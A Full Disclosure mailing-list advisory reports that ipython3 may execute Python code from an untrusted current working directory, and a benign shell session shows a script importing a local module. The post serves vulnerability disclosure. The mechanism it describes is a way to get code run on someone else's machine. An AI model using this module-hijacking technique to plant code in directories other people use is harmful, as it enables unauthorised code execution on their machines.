full-disclosure - [FD] ipython3 may execute code from the current working directory

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Date: Thu, 22 Jul 2021 11:50:21 +0300
From: Georgi Guninski <gguninski@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] ipython3 may execute code from the current working directory

Summary: under certain circumstances, ipython3 may execute
code from the current working directory. This might be a
problem if the current working directory is not trusted.

python3 is safe.

Tested on ubuntu 20.

The following session illustrates it:

joro@...lokote:~/tests/dir2$ pwd
/home/joro/tests/dir2
joro@...lokote:~/tests/dir2$ ipython3 --version
7.13.0
joro@...lokote:~/tests/dir2$ ls ~/tests/dir1
a.py  joro-orig.py  __pycache__
joro@...lokote:~/tests/dir2$ ls ~/tests/dir2
joro.py  __pycache__
joro@...lokote:~/tests/dir2$ cat ~/tests/dir1/a.py
try:  import joro
except:  print("error in import")
joro@...lokote:~/tests/dir2$ cat ~/tests/dir2/joro.py
print("imported joro :)")
joro@...lokote:~/tests/dir2$ ipython3 ~/tests/dir1/a.py
imported joro :)
joro@...lokote:~/tests/dir2$

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